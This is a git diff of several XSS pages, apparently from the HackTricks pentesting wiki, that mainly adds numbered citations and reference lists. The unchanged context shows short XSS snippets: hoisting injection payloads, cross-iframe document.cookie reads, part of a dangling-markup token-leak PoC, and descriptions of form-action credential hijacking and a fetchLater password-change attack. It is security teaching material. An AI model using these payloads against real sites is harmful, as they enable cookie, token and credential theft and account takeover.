+- [3] [How I Chained Three Bugs to XSS an Intigriti CTF — IDOR + DOM Clobbering + DOMPurify 3.0.9 Bypass](https://prateekpulastya.medium.com/how-i-chained-three-bugs-to-xss-an-intigriti-ctf-idor-dom-clobbering-dompurify-3-0-9-bypass-25b74fc7afc7)
+- [4] [DOMPurify repository / configuration examples](https://github.com/cure53/DOMPurify)
+- [5] [Lab: Exploiting DOM clobbering to enable XSS](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
+- [6] [Bypassing CSP via DOM clobbering](https://portswigger.net/research/bypassing-csp-via-dom-clobbering)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md
index 117ccdccc45..71d04c10088 100644
--- a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md
+++ b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md
@@ -4,15 +4,15 @@
## DOM Invader
-DOM Invader is a browser tool installed in **Burp Suite's built-in Chromium browser**. It assists in **detecting DOM XSS and other client-side vulnerabilities** (prototype pollution, DOM clobbering, etc.) by automatically **instrumenting JavaScript sources and sinks**. The extension ships with Burp and only needs to be enabled.
+DOM Invader is a browser tool installed in **Burp Suite's built-in Chromium browser**. It assists in **detecting DOM XSS and other client-side vulnerabilities** (prototype pollution, DOM clobbering, etc.) by automatically **instrumenting JavaScript sources and sinks**. The extension ships with Burp and only needs to be enabled.<sup>[[1]](#references)</sup>
DOM Invader adds a tab to the browser’s DevTools panel that lets you:
-1. **Identify controllable sinks** in real time, including context (attribute, HTML, URL, JS) and applied sanitization.
-2. **Log, edit and resend `postMessage()` web-messages**, or let the extension mutate them automatically.
-3. **Detect client-side prototype-pollution sources and scan for gadget→sink chains**, generating PoCs on-the-fly.
-4. **Find DOM clobbering vectors** (e.g. `id` / `name` collisions that overwrite global variables).
-5. **Fine-tune behaviour** via a rich Settings UI (custom canary, auto-injection, redirect blocking, source/sink lists, etc.).
+1. **Identify controllable sinks** in real time, including context (attribute, HTML, URL, JS) and applied sanitization.<sup>[[3]](#references)</sup>
+2. **Log, edit and resend `postMessage()` web-messages**, or let the extension mutate them automatically.<sup>[[4]](#references)</sup>
+3. **Detect client-side prototype-pollution sources and scan for gadget→sink chains**, generating PoCs on-the-fly.<sup>[[5]](#references)</sup>
+4. **Find DOM clobbering vectors** (e.g. `id` / `name` collisions that overwrite global variables).<sup>[[6]](#references)</sup>
+5. **Fine-tune behaviour** via a rich Settings UI (custom canary, auto-injection, redirect blocking, source/sink lists, etc.).<sup>[[7]](#references)[[8]](#references)</sup>
---
@@ -23,7 +23,7 @@ DOM Invader adds a tab to the browser’s DevTools panel that lets you:
1. Open **Proxy ➜ Intercept ➜ Open Browser** (Burp’s embedded browser).
2. Click the **Burp Suite** logo (top-right). If it’s hidden, click the jigsaw-piece first.
3. In **DOM Invader** tab, toggle **Enable DOM Invader** ON and press **Reload**.
-4. Open DevTools ( `F12` / Right-click ➜ Inspect ) and dock it. A new **DOM Invader** panel appears.
+4. Open DevTools ( `F12` / Right-click ➜ Inspect ) and dock it. A new **DOM Invader** panel appears.<sup>[[2]](#references)</sup>
> Burp remembers the state per profile. Disable it under *Settings ➜ Tools ➜ Burp’s browser ➜ Store settings...* if required.
@@ -41,13 +41,13 @@ Burp 2024.12 introduced **Canary settings** (Burp-logo ➜ DOM Invader ➜ Canar
* **Randomize** or set a **custom string** (helpful for multi-tab testing or when the default value appears naturally on the page).
* **Copy** the value to clipboard.
-* Changes require **Reload**.
+* Changes require **Reload**. <sup>[[7]](#references)</sup>
---
### 3. Web-messages (`postMessage`)
-The **Messages** sub-tab records every `window.postMessage()` call, showing `origin`, `source`, and `data` usage.
+The **Messages** sub-tab records every `window.postMessage()` call, showing `origin`, `source`, and `data` usage.<sup>[[4]](#references)</sup>
• **Modify & resend**: double-click a message, edit `data`, and press **Send** (Burp Repeater-like).
@@ -63,7 +63,7 @@ Field meaning recap:
### 4. Prototype Pollution
-Enable under **Settings ➜ Attack types ➜ Prototype pollution**.
+Enable under **Settings ➜ Attack types ➜ Prototype pollution**.<sup>[[5]](#references)</sup>
Workflow:
@@ -87,7 +87,7 @@ Advanced settings (cog icon):
### 5. DOM Clobbering
-Toggle **Attack types ➜ DOM clobbering**. DOM Invader monitors dynamically created elements whose `id`/`name` attributes collide with global variables or form objects (`<input name="location">` → clobbers `window.location`). An entry is produced whenever user-controlled markup leads to variable replacement.
+Toggle **Attack types ➜ DOM clobbering**. DOM Invader monitors dynamically created elements whose `id`/`name` attributes collide with global variables or form objects (`<input name="location">` → clobbers `window.location`). An entry is produced whenever user-controlled markup leads to variable replacement.<sup>[[6]](#references)</sup>
---
@@ -105,7 +105,7 @@ DOM Invader is now split into **Main / Attack Types / Misc / Canary** categories
* **DOM clobbering**.
3. **Misc**
- * **Redirect prevention** – block client-side redirects so the sink list isn’t lost.
+ * **Redirect prevention** – block client-side redirects so the sink list isn’t lost.<sup>[[8]](#references)</sup>
* **Breakpoint before redirect** – pause JS just before redirect for call-stack inspection.
* **Inject canary into all sources** – auto-inject canary everywhere; configurable source/parameter allow-list.
@@ -126,13 +126,13 @@ DOM Invader is now split into **Main / Attack Types / Misc / Canary** categories
## References
-- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)
-- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling)
-- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/dom-xss](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/dom-xss)
-- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages)
-- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution)
-- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/dom-clobbering](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/dom-clobbering)
-- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/settings/canary](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/settings/canary)
-- [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/settings/misc](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/settings/misc)
+- [1] [DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)
+- [2] [Enabling DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling)
+- [3] [Testing for DOM XSS with DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/dom-xss)
+- [4] [Testing web messages with DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages)
+- [5] [Testing for prototype pollution with DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution)
+- [6] [Testing for DOM clobbering with DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/dom-clobbering)
+- [7] [DOM Invader canary settings](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/settings/canary)
+- [8] [DOM Invader misc settings](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/settings/misc)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
index a2369ab0b47..eba186cd673 100644
--- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
+++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
@@ -54,8 +54,8 @@ Note how if4 is considered to have `null` origin.
Two details around `srcdoc` are easy to miss during exploitation:
-- Unless the frame is sandboxed without `allow-same-origin`, a `srcdoc` document is **same-origin with the parent**. Therefore, injecting attacker-controlled HTML into `srcdoc` is usually equivalent to giving it direct DOM access to the top document.
-- Even though the document URL is `about:srcdoc`, **relative URLs are resolved using the embedding page URL as the base URL**. This means payloads such as `<script src="/upload/payload.js"></script>` or `<img src="/internal/debug">` will target the parent origin, not `about:srcdoc`.
+- Unless the frame is sandboxed without `allow-same-origin`, a `srcdoc` document is **same-origin with the parent**. Therefore, injecting attacker-controlled HTML into `srcdoc` is usually equivalent to giving it direct DOM access to the top document.<sup>[[6]](#references)</sup>
+- Even though the document URL is `about:srcdoc`, **relative URLs are resolved using the embedding page URL as the base URL**. This means payloads such as `<script src="/upload/payload.js"></script>` or `<img src="/internal/debug">` will target the parent origin, not `about:srcdoc`.<sup>[[6]](#references)</sup>
Practical payload:
@@ -129,7 +129,7 @@ if __name__ == "__main__":
The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years:
-* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* `<iframe name>` attribute. Once the partial markup is parsed, the attacker script running in a separate origin navigates the frame to `about:blank` and reads `window.name`, which now contains everything up to the next quote character (for example a CSRF token). Because no JavaScript runs in the victim context, the attack usually evades `script-src 'none'`. A minimal PoC is:
+* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* `<iframe name>` attribute. Once the partial markup is parsed, the attacker script running in a separate origin navigates the frame to `about:blank` and reads `window.name`, which now contains everything up to the next quote character (for example a CSRF token). Because no JavaScript runs in the victim context, the attack usually evades `script-src 'none'`.<sup>[[2]](#references)</sup> A minimal PoC is:
```html
<!-- Injection point just before a sensitive <script> -->
@@ -152,7 +152,7 @@ The research community continues to discover creative ways of abusing iframes to
top.document.body.appendChild(s);
```
-* **Form-action hijacking (PortSwigger 2024)** – A page that omits the `form-action` directive can have its login form *re-targeted* from an injected iframe or inline HTML so that password managers auto-fill and submit credentials to an external domain, even when `script-src 'none'` is present. Always complement `default-src` with `form-action`!
+* **Form-action hijacking (PortSwigger 2024)** – A page that omits the `form-action` directive can have its login form *re-targeted* from an injected iframe or inline HTML so that password managers auto-fill and submit credentials to an external domain, even when `script-src 'none'` is present. Always complement `default-src` with `form-action`!<sup>[[1]](#references)</sup>
**Defensive notes (quick checklist)**
@@ -211,9 +211,9 @@ In practice, `sandbox="allow-scripts allow-same-origin"` should be treated as **
### Credentialless iframes
-As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
+As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.<sup>[[7]](#references)</sup>
-Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
+Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*.<sup>[[3]](#references)</sup> MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
* Scripts in different credentialless iframes **still share the same top-level origin** and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
* Because the network is **credential-stripped**, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
@@ -229,7 +229,7 @@ alert(window.top[2].document.cookie); // read -> foo=bar
- Exploit example: Self-XSS + CSRF
-In this attack, the attacker prepares a malicious webpage with 2 iframes:
+In this attack, the attacker prepares a malicious webpage with 2 iframes:<sup>[[7]](#references)</sup>
- An iframe that loads the victim's page with the `credentialless` flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user):
```html
@@ -257,7 +257,7 @@ alert(window.top[1].document.cookie);
### fetchLater Attack
-As indicated in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) the API `fetchLater` allows configuring a request to be executed later. This can be abused to, for example, login a victim inside an attacker's session (with Self-XSS), schedule a `fetchLater` request (to change the password of the current user for example), and logout from the attacker's session. Then, when the victim logs into their own session, the deferred request can execute using the cookies available at dispatch time, changing the password of the victim to the one set by the attacker.
+As indicated in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) the API `fetchLater` allows configuring a request to be executed later. This can be abused to, for example, login a victim inside an attacker's session (with Self-XSS), schedule a `fetchLater` request (to change the password of the current user for example), and logout from the attacker's session. Then, when the victim logs into their own session, the deferred request can execute using the cookies available at dispatch time, changing the password of the victim to the one set by the attacker.<sup>[[7]](#references)</sup>
Operational notes:
@@ -305,10 +305,11 @@ Check the following pages:
## References
-* [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
-* [PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
-* [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
-* [MDN – Window.fetchLater()](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetchLater)
-* [MDN – `<iframe>` element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe)
-* [MDN – `HTMLIFrameElement.srcdoc`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement/srcdoc)
+- [1] [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
+- [2] [PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
+- [3] [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
+- [4] [MDN – Window.fetchLater()](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetchLater)
+- [5] [MDN – `<iframe>` element](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe)
+- [6] [MDN – `HTMLIFrameElement.srcdoc`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLIFrameElement/srcdoc)
+- [7] [Make Self-XSS Great Again (slonser)](https://blog.slonser.info/posts/make-self-xss-great-again/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md
index a648a2d7aee..cba3891df63 100644
--- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md
+++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md
@@ -33,7 +33,7 @@ Typical attack surface:
| 2024 | **Chrome Layout – CVE-2024-7025** | Integer overflow in the rendering/layout pipeline reachable from a crafted HTML page | Demonstrates that integer bugs are not limited to JS engines: **HTML/CSS alone** can be enough to reach heap corruption. |
| 2024 | **Chrome Skia – CVE-2024-9123** | Integer overflow in the graphics stack while processing crafted HTML content | A page visit could trigger an **out-of-bounds memory write** in the renderer. |
-Project Zero's 2025 **BLASTPASS** write-up is also useful operationally even though it revisits `CVE-2023-4863`: the vulnerable WebP decoder was reached through a **`.pkpass` ZIP wrapper / preview pipeline**, not just through a raw standalone image. When you review a web application, don't stop at `image/webp` uploads — enumerate **thumbnailers, preview handlers, archive-based import flows, OCR/media workers, mobile share targets, and message/notification renderers** that eventually invoke the same parser.
+Project Zero's 2025 **BLASTPASS** write-up is also useful operationally even though it revisits `CVE-2023-4863`: the vulnerable WebP decoder was reached through a **`.pkpass` ZIP wrapper / preview pipeline**, not just through a raw standalone image. When you review a web application, don't stop at `image/webp` uploads — enumerate **thumbnailers, preview handlers, archive-based import flows, OCR/media workers, mobile share targets, and message/notification renderers** that eventually invoke the same parser.<sup>[[3]](#references)</sup>
---
@@ -75,7 +75,7 @@ Pad to length: 10, Enable hex prefix 0x
Not every web integer bug is a native-style `size_t` wraparound. A lot of exploitable web logic starts with a **representation mismatch**:
-* JavaScript numbers are IEEE-754 doubles, so integers above `Number.MAX_SAFE_INTEGER` (`2^53 - 1`) lose precision.
+* JavaScript numbers are IEEE-754 doubles, so integers above `Number.MAX_SAFE_INTEGER` (`2^53 - 1`) lose precision.<sup>[[4]](#references)</sup>
* Legacy code frequently uses bitwise operators such as `|0`, `~~x`, `x<<0`, or `x>>>0`, which **coerce values to 32-bit signed/unsigned integers**.
* Browser-facing code often parses a value once in JS and a second time in the backend, producing different range checks and different final values.
@@ -138,7 +138,7 @@ if($total > 1000000){
```
### 4.2 Heap overflow via image decoder (libwebp 0-day)
-The WebP lossless decoder bug behind `CVE-2023-4863` was a good reminder that browser bugs still start with simple arithmetic mistakes around attacker-controlled metadata. In practice, a crafted image can make the decoder build invalid Huffman lookup tables and write past the heap before consistency checks finish. For web testing this means that **image dimensions, chunk sizes, color-table counts and compression metadata** are still first-class attack surface when the browser or the backend parses user-supplied files.
+The WebP lossless decoder bug behind `CVE-2023-4863` was a good reminder that browser bugs still start with simple arithmetic mistakes around attacker-controlled metadata. In practice, a crafted image can make the decoder build invalid Huffman lookup tables and write past the heap before consistency checks finish. For web testing this means that **image dimensions, chunk sizes, color-table counts and compression metadata** are still first-class attack surface when the browser or the backend parses user-supplied files.<sup>[[1]](#references)</sup>
### 4.3 Browser-based XSS/RCE chain
1. **Integer overflow** in V8 gives arbitrary read/write.
@@ -191,7 +191,7 @@ wasm-linear-memory-template-overwrite-xss.md
### 4.7 Wrapper-aware parser reachability
-The 2025 BLASTPASS analysis showed the vulnerable WebP path was reachable through a **PassKit `.pkpass` archive** containing a mislabeled WebP, not only through a direct image open. The offensive lesson generalizes well: once you find an integer bug in a decoder, test every wrapper that can silently reach the same parser:
+The 2025 BLASTPASS analysis showed the vulnerable WebP path was reachable through a **PassKit `.pkpass` archive** containing a mislabeled WebP, not only through a direct image open.<sup>[[3]](#references)</sup> The offensive lesson generalizes well: once you find an integer bug in a decoder, test every wrapper that can silently reach the same parser:
* archive/bundle imports (`.zip`, office docs, pass files, theme packs),
* server-side thumbnail / resize / OCR pipelines,
@@ -214,8 +214,8 @@ The 2025 BLASTPASS analysis showed the vulnerable WebP path was reachable throug
## References
-* [Cloudflare: Uncovering the Hidden WebP vulnerability (CVE-2023-4863)](https://blog.cloudflare.com/uncovering-the-hidden-webp-vulnerability-cve-2023-4863/)
-* [NVD: CVE-2024-7025](https://nvd.nist.gov/vuln/detail/CVE-2024-7025)
-* [Project Zero: Blasting Past WebP](https://projectzero.google/2025/03/blasting-past-webp.html)
-* [HackerOne: Safely Handling Large Integers in JSON: Best Practices and Pitfalls](https://www.hackerone.com/blog/safely-handling-large-integers-json-best-practices-and-pitfalls)
+- [1] [Cloudflare: Uncovering the Hidden WebP vulnerability (CVE-2023-4863)](https://blog.cloudflare.com/uncovering-the-hidden-webp-vulnerability-cve-2023-4863/)
+- [2] [NVD: CVE-2024-7025](https://nvd.nist.gov/vuln/detail/CVE-2024-7025)
+- [3] [Project Zero: Blasting Past WebP](https://projectzero.google/2025/03/blasting-past-webp.html)
+- [4] [HackerOne: Safely Handling Large Integers in JSON: Best Practices and Pitfalls](https://www.hackerone.com/blog/safely-handling-large-integers-json-best-practices-and-pitfalls)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
index d0f6764135b..1dd8db164ed 100644
--- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
+++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
@@ -15,7 +15,7 @@ It is crucial to understand that:
#### Types of Hoisting
-Based on the information from MDN, there are four distinct types of hoisting in JavaScript:
+Based on the information from MDN, there are four distinct types of hoisting in JavaScript:<sup>[[2]](#references)</sup>
1. **Value Hoisting**: Enables the use of a variable's value within its scope before its declaration line.
2. **Declaration Hoisting**: Allows referencing a variable within its scope before its declaration without causing a `ReferenceError`, but the variable's value will be `undefined`.
@@ -26,7 +26,7 @@ In detail, function declarations exhibit type 1 hoisting behavior. The `var` key
## Scenarios
-Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error):
+Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error):<sup>[[1]](#references)</sup>
```javascript
// The function vulnerableFunction is not defined
@@ -145,11 +145,11 @@ x.y(1,INJECT)
prompt()) ; function x(){} //
```
-`function x(){}` is hoisted before evaluation, so the parser no longer throws on `x.y(...)`; `prompt()` executes before `y` is resolved, then a `TypeError` is thrown after your code has run.
+`function x(){}` is hoisted before evaluation, so the parser no longer throws on `x.y(...)`; `prompt()` executes before `y` is resolved, then a `TypeError` is thrown after your code has run.<sup>[[5]](#references)</sup>
### Preempt later declarations by locking a name with const
-If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:
+If you can execute before a top-level `function foo(){...}` is parsed, declaring a lexical binding with the same name (e.g., `const foo = ...`) will prevent the later function declaration from rebinding that identifier. This can be abused in RXSS to hijack critical handlers defined later in the page:<sup>[[4]](#references)</sup>
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
@@ -173,15 +173,15 @@ Server-side rendered apps sometimes forward user input into `import()` to lazy-l
### Tooling
-Modern scanners started to add explicit hoisting payloads. **KNOXSS v3.6.5** lists "JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting" and "Hoisting Override" test cases; running it against RXSS contexts that throw `ReferenceError`/`TypeError` quickly surfaces hoist-based gadget candidates.
+Modern scanners started to add explicit hoisting payloads. **KNOXSS v3.6.5** lists "JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting" and "Hoisting Override" test cases; running it against RXSS contexts that throw `ReferenceError`/`TypeError` quickly surfaces hoist-based gadget candidates.<sup>[[6]](#references)</sup>
## References
-- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
-- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
-- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
-- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
-- [XSS Exception Bypass using Hoisting (ch4n3, 2023)](https://new-blog.ch4n3.kr/xss-exception-bypass-using-hoisting/)
-- [KNOXSS coverage – hoisting override cases](https://knoxss.pro/?page_id=766)
+- [1] [Javascript Hoisting in XSS Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
+- [2] [Hoisting (MDN Glossary)](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
+- [3] [Having some fun with JavaScript hoisting](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
+- [4] [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
+- [5] [XSS Exception Bypass using Hoisting (ch4n3, 2023)](https://new-blog.ch4n3.kr/xss-exception-bypass-using-hoisting/)
+- [6] [KNOXSS coverage – hoisting override cases](https://knoxss.pro/?page_id=766)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/shadow-dom.md b/src/pentesting-web/xss-cross-site-scripting/shadow-dom.md
index abe2136ec17..12646f68b39 100644
--- a/src/pentesting-web/xss-cross-site-scripting/shadow-dom.md
+++ b/src/pentesting-web/xss-cross-site-scripting/shadow-dom.md
@@ -39,7 +39,7 @@ If you can run JavaScript **before** the component is initialized, hook `attachS
})();
```
-This is one of the most important takeaways when auditing apps or browser extensions that wrongly assume `closed` protects secrets, CSRF tokens, anti-clickjacking UI, or privileged controls.
+This is one of the most important takeaways when auditing apps or browser extensions that wrongly assume `closed` protects secrets, CSRF tokens, anti-clickjacking UI, or privileged controls.<sup>[[1]](#references)</sup>
## Declarative Shadow DOM as an injection surface
@@ -57,7 +57,7 @@ Important parsing behavior for exploitation:
- `innerHTML` **does not** create declarative shadow roots.
- `Element.setHTMLUnsafe()` / `ShadowRoot.setHTMLUnsafe()` **do** parse them.
-- Server-rendered HTML also creates DSD during the normal page parse.
+- Server-rendered HTML also creates DSD during the normal page parse.<sup>[[2]](#references)</sup>
Therefore, look for applications that:
@@ -116,6 +116,6 @@ A good lab for this topic is the [DiceCTF `shadow` challenge](https://github.com
## References
-- [The Closed Shadow DOM](https://blog.ankursundara.com/shadow-dom/)
-- [Declarative Shadow DOM explainer](https://github.com/mfreed7/declarative-shadow-dom/blob/master/README.md)
+- [1] [The Closed Shadow DOM](https://blog.ankursundara.com/shadow-dom/)
+- [2] [Declarative Shadow DOM explainer](https://github.com/mfreed7/declarative-shadow-dom/blob/master/README.md)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md
index 8e8fa406d04..d8c68da4c49 100644
--- a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md
+++ b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md
@@ -4,11 +4,16 @@
## Leak script content by converting it to UTF16
-[**This writeup**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) leaks a text/plain because there is no `X-Content-Type-Options: nosniff` header by adding some initial characters that will make javascript think that the content is in UTF-16 so th script doesn't breaks.
+[**This writeup**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) leaks a text/plain because there is no `X-Content-Type-Options: nosniff` header by adding some initial characters that will make javascript think that the content is in UTF-16 so th script doesn't breaks.<sup>[[1]](#references)</sup>
## Leak script content by treating it as an ICO
-[**The next writeup**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) leaks the script content by loading it as if it was an ICO image accessing the `width` parameter.
+[**The next writeup**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) leaks the script content by loading it as if it was an ICO image accessing the `width` parameter.<sup>[[2]](#references)</sup>
+
+## References
+
+- [1] [UIUCTF 2022 writeup - Modernism (leak via UTF-16 content sniffing)](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves)
+- [2] [UIUCTF 2022 writeup - Precisionism (leak script content as ICO)](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md b/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
index 64be41158da..c7a6c76888e 100644
--- a/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
+++ b/src/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md
@@ -8,7 +8,7 @@ There will be occasions where you can execute some limited javascript in a page.
In those case, one of the best things that you could do is to **access the DOM to call whatever** sensitive action you can find in there (like clicking a button). However, usually you will find this vulnerability in **small endpoints without any interesting thing in the DOM**.
-In those scenarios, this attack will be very useful, because its goal is to be able to **abuse the limited JS execution inside a DOM from a different page from the same domain** with much interesting actions.
+In those scenarios, this attack will be very useful, because its goal is to be able to **abuse the limited JS execution inside a DOM from a different page from the same domain** with much interesting actions.<sup>[[1]](#references)</sup>
Basically, the attack flow is the following:
@@ -33,11 +33,12 @@ Basically, the attack flow is the following:
- You can find a vulnerable example in [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
- Note that in this example the server is **generating javascript code** and **adding** it to the HTML based on the **content of the callback parameter:** `<script>opener.{callbacl_content}</script>` . Thats why in this example you don't need to indicate the use of `opener` explicitly.
-- Also check this CTF writeup: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
+- Also check this CTF writeup: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)<sup>[[2]](#references)</sup>
## References
-- [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
+- [1] [Everybody Wants SOME: Advance Same Origin Method Execution (HITBSecConf 2017)](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
+- [2] [SOME - Same Origin Method Execution CTF writeup (CTFtime)](https://ctftime.org/writeup/36068)
{{#include ../../banners/hacktricks-training.md}}